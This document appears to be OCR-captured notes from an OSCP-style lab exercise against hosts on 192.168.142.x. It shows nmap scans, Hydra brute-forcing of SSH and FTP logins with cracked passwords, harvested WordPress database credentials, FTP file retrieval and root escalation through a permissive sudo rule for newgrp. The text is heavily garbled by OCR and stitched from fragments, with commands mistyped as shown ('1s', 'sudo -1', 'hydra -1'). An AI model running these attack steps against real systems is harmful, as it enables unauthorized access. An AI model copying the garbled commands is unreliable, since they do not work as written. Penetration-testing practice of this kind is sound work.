sudo nmap -sC -sV -v 192.168.142.100
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8080/tcp open  http          Apache Tomcat 8.5.19
ftp / ftp
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/home/
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===================================================================
aee4ee728ae819cb5d714b48e84ae556
peanut
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139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: Host: the; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| nbstat: NetBIOS name: OSCP, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   OSCP<00>             Flags: <unique><active>
|   OSCP<03>             Flags: <unique><active>
|   OSCP<20>             Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|_  WORKGROUP<1e>        Flags: <group><active>
|_clock-skew: 10s
| smb2-time: 
|   date: 2024-10-04T21:58:05
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
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226 Directory send OK.

ftp> get local.txt

local: local.txt remote: local.txt

200 EPRT command successful. Consider using EPSV.

150 Opening BINARY mode data connection for local.txt (33 bytes).
100% | H*xdkkdkkdokkdokkdokkdokkdokkdokkdokkdokkdokrhkrdkrhkrhkrhkrhkrrkrkkk | 33
226 Transfer complete.

33 bytes received in 00:00 (0.14 KiB/s)

ftp>

ftp> exit

221 Goodbye.

226.94 KiB/s

00:00 ETA
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—(kali% kali)-[~/oscp/doc/vscode/oscp]
—$ cat local.txt
aee4ee728ae819cb5d714b48e84ae556
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Jdrwxr-x— 2 1002 1003 4096 Jul 09 11:06 clay

drwxr-x— 3 1001 1002 4096 Apr 06 2023 ftp
drwxrwxrwx 4 1000 1000 4096 Apr 06 2023 lisa
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[Apache [N 8/7/6 (Debian-Based Distros) Local Privilege Escalati | linux/local/4045

[Apache [IIBEN 8/7/6 (RedHat Based Distros) Local Privilege Escalati | linux/local/4048:
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—(kali% kali)-[~/oscp/doc/vscode/oscp]
—$ hydra -1 lisa -P /usr/share/wordlists/rockyou.txt 192.168.142.110 ssh

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-04 20:42:19

sks: use -t 4

DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (1:1/p:14344399),
per task

DATA] attacking ssh://192.168.142.110:22/

STATUS] 111.00 tries/min, 111 tries in 00:01h, 14344290 to do in 2153:48h, 14 active
22][ssh] host: 192.168.142.110 login: lisa password: peanut

1 of 1 target successfully completed, 1 valid password found

WARNING] Writing restore file because 3 final worker threads did not complete until end.
ERROR] 3 targets did not resolve or could not be connected

ERROR] @ target did not complete

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-04 20:44:16

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these #*x ignore laws and ethics anyway).

WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the ta

~896525 tries
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$ sudo -1

[sudo] password for lisa:

Matching Defaults entries for lisa on oscp:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User lisa may run the following commands on oscp:
(root) /usr/bin/strace
(root) /usr/bin/newgrp
$ id
uid=1000(1lisa) gid=1000(lisa) groups=1000(lisa),1001(networkadmin)
$ sudo /usr/bin/newgrp root
rootgoscp:/etc# 1s /root
proof.txt snap
rootgoscp:/etc# cat /root/proof.txt
b3808da482a7cecefab961beecc62c13
rootgoscp:/etc# id
uid=0(root) gid=0(root) groups=0(root)
rootgoscp:/etc# |
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/** Sets up WordPress vars and included files. #*/
require_once ABSPATH . 'wp-settings.php';

+] MysQL Database Username: wordpress
+] MysQL Database Password: PinkFlamingo502

—(kali% kali)-[~/../vscode/oscp/112/wp-mail-masta-exploit]
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—(kali® kali)-[~/../doc/vscode/oscp/112]

—$ sudo hydra -C /usr/share/wordlists/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.
txt ftp://192.168.142.112

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-05 05:53:05
[DATA] max 16 tasks per 1 server, overall 16 tasks, 66 login tries, ~5 tries per task
[DATA] attacking ftp://192.168.142.112:21/

[21][ftp] host: 192.168.142.112 login: ftp password: b1uRR3

[21][ftp] host: 192.168.142.112 login: anonymous password: anonymous

[21][ftp] host: 192.168.142.112 login: ftp  password: ftp

1 of 1 target successfully completed, 3 valid passwords found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-05 05:53:21
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01 Unauthorized

‘You are not authorized to view this page. If you have not changed any configuration files, please examine the file conf/tomcat-users. xn.in your instaliation. That file must contain the credentials to let you use this webapp.

For example, to add the manager - gus role to a user named tomcat with a password of s3cret, add the following to the config il listed above.

<role rolenane="nanager-gui*/>
<user usernane="toncat" password="s3cret" roles=

manager-gui’ />

Note that for Tomcat 7 onwards, the roles required to use the manager application were changed from the single manager. role to the following four roles. You wil need to assign the fole(s) required for the functionality you wish to access.

‘manager-gui - alows access to the HTML GUI and the status pages
‘manager-script - allows access to the text nterface and the staus pages
‘manager - jmx - alows access to the JMX proxy and the Status pages
‘manager-status - allows access to the status pages only

“The HTMIL inerface s protected against CSRF but the text and JMX interfaces are not. To maintain the CSRF protection;

« Users wih the nanager -gui role hould not be granted efther the manager -script or manager - jm roles
« I the text or jmx interfaces are accessed thiough a browse (.. 0r testing since these Interfaces are intended for tools not humans) then the browser must be closed afterwards 1o ferminate the session.

For more information - please see the Manager App HOW-TO.




image1.png
kali® kali
'—$ sudo nmap -sC -sV -v 192.168.142.100

sudo] password for kali:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-04 17:28 EDT
NSE: Loaded 156 scripts for scanning.

NSE: Script Pre-scanning.

Initiating NSE at 17:28

Completed NSE at 17:28, 0.00s elapsed

Initiating NSE at 17:28

Completed NSE at 17:28, 0.00s elapsed

Initiating NSE at 17:28

Completed NSE at 17:28, 0.00s elapsed

Initiating Ping Scan at 17:28

Scanning 192.168.142.100 [4 ports]

Completed Ping Scan at 17:28, 0.24s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:28

Completed Parallel DNS resolution of 1 host. at 17:28, 0.01s elapsed
Initiating SYN Stealth Scan at 17:28

Scanning 192.168.142.100 [1000 ports]

Discovered open port 139/tcp on 192.168.142.100

Discovered open port 445/tcp on 192.168.142.100

Discovered open port 53/tcp on 192.168.142.100

Discovered open port 135/tcp on 192.168.142.100

Discovered open port 3268/tcp on 192.168.142.100

Discovered open port 593/tcp on 192.168.142.100

Discovered open port 636/tcp on 192.168.142.100
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Scanning 192.168.142.100 [1000 ports]

Discovered open port 139/tcp on 192.168.142.100

Discovered open port 445/tcp on 192.168.142.100

Discovered open port 53/tcp on 192.168.142.100

Discovered open port 135/tcp on 192.168.142.100

Discovered open port 3268/tcp on 192.168.142.100

Discovered open port 593/tcp on 192.168.142.100

Discovered open port 636/tcp on 192.168.142.100

Discovered open port 88/tcp on 192.168.142.100

Discovered open port 464/tcp on 192.168.142.100

Discovered open port 3269/tcp on 192.168.142.100

Discovered open port 389/tcp on 192.168.142.100

Completed SYN Stealth Scan at 17:28, 12.22s elapsed (1000 total ports)
Initiating Service scan at 17:28

Scanning 11 services on 192.168.142.100

Completed Service scan at 17:28, 20.01s elapsed (11 services on 1 host)
NSE: Script scanning 192.168.142.100.
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smb2-time:

date: 2024-10-04T21:29:10

start_date: N/A
smb2-security-mode:

3:1:1:
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—(kali%® kali)-[~/oscp/doc/vscode/oscp]

—$ hydra -C /usr/share/wordlists/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt f
tp://192.168.142.110

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these **x ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-04 19:36:54
[DATA] max 16 tasks per 1 server, overall 16 tasks, 66 login tries, ~5 tries per task
[DATA] attacking ftp://192.168.142.110:21/

[21][ftp] host: 192.168.142.110 login: ftp password: ftp

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-04 19:37:03
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—(kali% kali)-[~/oscp/doc/vscode/oscp]

—$ ftp 192.168.142.110

Connected to 192.168.142.110.

220 (vsFTPd 3.0.5)

Name (192.168.142.110:kali): ftp

331 Please specify the password.

Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> passive

Passive mode: off; fallback to active mode: off.
ftp> 1s -al

200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.

dr-xr-xr-x 2 1001 1002 4096 Apr 06
drwxr-x— 3 1001 1002 4096 Apr 06
226 Directory send OK.

ftp> cd

250 Directory successfully changed.

ftp> cd

250 Directory successfully changed.

2023 .

2023
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ftp> 1s

200 EPRT command successful. Consider using EPSV.

150 Here comes the directory listing.

drwxr-x—
drwxr-x—
drwxrwxrwx

226 Directory send OK.

ftp> cd lisa

250 Directory successfully changed.

ftp> 1s -al

200 EPRT command successful. Consider
150 Here comes the directory listing.

drwxrwxrwx
drwxr-xr-x
Trwxrwxrwx
-IW-r--r--
-IW-r--r--
drwx
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.bash_history — /dev/null
.bash_logout

.bashrc

.cache

.mysql_history — /dev/null
.profile

.ssh

local.txt




